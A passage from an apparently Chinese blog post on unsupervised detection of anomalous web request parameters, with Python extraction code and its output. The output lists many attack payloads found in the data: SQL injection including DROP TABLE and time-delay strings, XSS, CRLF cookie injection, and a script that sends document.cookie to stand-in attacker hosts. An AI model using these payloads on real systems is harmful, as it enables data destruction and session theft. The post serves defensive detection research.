这些特征向量能否充分反映样本的异常性呢?我使用未调参的随机森林模型进行验证,得到了大于95%准确率的结果,比较满意。下图是模型学习曲线,可以看出仍处于欠训练的状态,如果样本量更充足的话将会得到更好的效果。
由于本文所述方法旨在使用无监督学习提取异常参数,并不用纠结于有监督分类的结果,只要验证了提取的特征的确可以反映出参数的异常性即可。
0x3b 异常参数值提取得到参数值的异常分数下面的工作就简单多了,主要就是:
1)数据的标准化(Standardization)
2)根据阈值确定异常参数
3)根据异常分数在训练集矩阵的位置提取对应的参数值
这部分没有什么特别的逻辑,直接看代码吧:
if name == 'main': x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: samples = json.loads(sf.readline()) #Standardization ases = StandardScaler().fit_transform(x[:, :len(params)]) indices = ases > 6 #extract anomalous payload for s in range(indices.shape[0]): for p in range(indices.shape[1]): if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##")提取结果:
##modo## ##registroalert("Paros");## ##modo## ##registroalert("Paros");## ##ntc## ##|## ##ntc## ##|## ##modo## #### ##modo## #### ##modo## ##registro' AND '1'='1## ##modo## ##registro' AND '1'='1## ##ntc## ##9851892046707743alert("Paros");## ##ntc## ##9851892046707743alert("Paros");## ##ntc## ##5024784015351535alert("Paros");## ##ntc## ##5024784015351535alert("Paros");## ##ntc## ##878731290934670A## ##ntc## ##878731290934670A## ##nombre## ##Remi'g/*io## ##nombre## ##Remi'g/*io## ##cp## ##1642A## ##cp## ##1642A## ##cp## ##any? Set-cookie:+Tamper=1041264011025374727## ##cp## ##any? Set-cookie:+Tamper=1041264011025374727## ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##modo## ##registro@40## ##modo## ##registro@40## ##ntc## ##841140437746594A## ##ntc## ##841140437746594A## ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## ##ntc## ##|## ##ntc## ##|## ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##modo## ##|## ##modo## ##|## ##cp## ##4377A## ##cp## ##4377A## ##modo## ##+## ##modo## ##+## ##modo## ##' DELETE FROM USERS## ##modo## ##' DELETE FROM USERS## ##dni## #### ##dni## #### ##cp## #### ##cp## #### ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## ##dni## ##684739141## ##dni## ##684739141## ##modo## ##registro' DELETE FROM USERS## ##modo## ##registro' DELETE FROM USERS## ##nombre## ##*Aitan/a## ##nombre## ##*Aitan/a## ##ntc## ##6995607131571243## ##ntc## ##6995607131571243## ##modo## ##registroalert("Paros");## ##modo## ##registroalert("Paros");## ##modo## ##','0','0','0');waitfor delay '0:0:15';--## ##modo## ##','0','0','0');waitfor delay '0:0:15';--## ##modo## ##registro';waitfor delay '0:0:15';--## ##modo## ##registro';waitfor delay '0:0:15';--## ##modo## #### ##modo## #### ##modo## ##registro"><## ##modo## ##registro"><## ##modo## ##'OR'a='a## ##modo## ##'OR'a='a## ##cp## ##any Set-cookie:+Tamper=5765205567234876235## ##cp## ##any Set-cookie:+Tamper=5765205567234876235## ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##ntc## ##@40## ##ntc## ##@40## ##cp## ##AND 1=1## ##cp## ##AND 1=1## ##modo## ##registroAND 1=1## ##modo## ##registroAND 1=1## ##modo## ##+## ##modo## ##+## ##modo## ##registrobob@alert(Paros).parosproxy.org## ##modo## ##registrobob@alert(Paros).parosproxy.org## ##cp## ##any? Set-cookie:+Tamper=5765205567234876235## ##cp## ##any? Set-cookie:+Tamper=5765205567234876235## ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##cp## ##44349','0');waitfor delay '0:0:15';--## ##cp## ##44349','0');waitfor delay '0:0:15';--## ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##ntc## ##219312393915667A## ##ntc## ##219312393915667A## ##ntc## ##928497527479202A## ##ntc## ##928497527479202A## ##ntc## ##848868523325038A## ##ntc## ##848868523325038A## ##ntc## ##AND 1=1## ##ntc## ##AND 1=1## ##ntc## ## ## ##ntc## ## ## ##dni## ##B071B890B48F## ##dni## ##B071B890B48F## ##modo## ##registro## ##modo## ##registro## ##cp## ##26130any Set-cookie:+Tamper=5765205567234876235## ##cp## ##26130any Set-cookie:+Tamper=5765205567234876235## ##ntc## ##' AND '1'='1## ##ntc## ##' AND '1'='1## ##modo## ##registro ## ##modo## ##registro ## ##ntc## ##+## ##ntc## ##+## ##ntc## ##706790437347227A## ##ntc## ##706790437347227A## ##cp## ##+## ##cp## ##+## ##dni## ##';waitfor delay '0:0:15';--## ##dni## ##';waitfor delay '0:0:15';--## ##cp## ##44721bob@alert(Paros).parosproxy.org## ##cp## ##44721bob@alert(Paros).parosproxy.org## ##cp## #### ##cp## #### ##ntc## ##424959116693048A## ##ntc## ##424959116693048A## ##cp## ##bob@alert(Paros).parosproxy.org## ##cp## ##bob@alert(Paros).parosproxy.org## ##cp## ##31495bob@alert(Paros).parosproxy.org## ##cp## ##31495bob@alert(Paros).parosproxy.org## ##ntc## ##899062190611389A## ##ntc## ##899062190611389A## ##ntc## ##0602317509119469## ##ntc## ##0602317509119469## ##modo## ##','0');waitfor delay '0:0:15';--## ##modo## ##','0');waitfor delay '0:0:15';--## ##dni## ##' AND '1'='1## ##dni## ##' AND '1'='1## ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##cp## ##22314','0','0');waitfor delay '0:0:15';--## ##cp## ##22314','0','0');waitfor delay '0:0:15';--## ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## ##modo## ##registro@40## ##modo## ##registro@40## ##dni## ##35507034W" AND "1"="1## ##dni## ##35507034W" AND "1"="1## ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## ##cp## ##08696paros"hljs-comment">##cp## ##08696paros"hljs-comment">##dni## ##paros"hljs-comment">##dni## ##paros"hljs-comment">##cp## ##0530A## ##cp## ##0530A## ##ntc## ##any Set-cookie:+Tamper=5765205567234876235## ##ntc## ##any Set-cookie:+Tamper=5765205567234876235## ##cp## ##0951A## ##cp## ##0951A## ##ntc## ##any? Set-cookie:+Tamper=5765205567234876235## ##ntc## ##any? Set-cookie:+Tamper=5765205567234876235## ##modo## ##registro"><## ##modo## ##registro"><## ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##cp## ##1883A## ##cp## ##1883A## ##ntc## ##1816581279872417'OR'a='a## ##ntc## ##1816581279872417'OR'a='a## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##');waitfor delay '0:0:15';--## ##modo## ##');waitfor delay '0:0:15';--## ##modo## ##registro'INJECTED_PARAM## ##modo## ##registro'INJECTED_PARAM## ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## ##cp## ##1914A## ##cp## ##1914A## ##cp## ##35543' DELETE FROM USERS## ##cp## ##35543' DELETE FROM USERS## ##ntc## ##@40## ##ntc## ##@40## ##cp## ##alert("Paros");## ##cp## ##alert("Paros");## ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## ##modo## ##|## ##modo## ##|## ##ntc## ##alert("Paros");## ##ntc## ##alert("Paros");## ##ntc## ##367411357982441A## ##ntc## ##367411357982441A## ##cp## ##';waitfor delay '0:0:15';--## ##cp## ##';waitfor delay '0:0:15';--## ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## ##modo## ##|## ##modo## ##|## ##ntc## ##7238071991283064 ## ##ntc## ##7238071991283064 ## ##cp## ##0529A## ##cp## ##0529A## ##modo## ##'INJECTED_PARAM## ##modo## ##'INJECTED_PARAM## ##dni## ##+## ##dni## ##+## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##dni## #### ##dni## #### ##modo## ##registro@40## ##modo## ##registro@40## ##cp## ##46715alert("Paros");## ##cp## ##46715alert("Paros");## ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## ##modo## ##alert("Paros");## ##modo## ##alert("Paros");## ##modo## ##"><## ##modo## ##"><## ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##ntc## ##1771682809315400' AND '1'='1## ##ntc## ##1771682809315400' AND '1'='1##可以看到,至此已经把异常参数值提取出来了,包括SQL注入、XSS、命令注入、CRLF注入、文件包含等典型的攻击Payload。
0×4 后续计划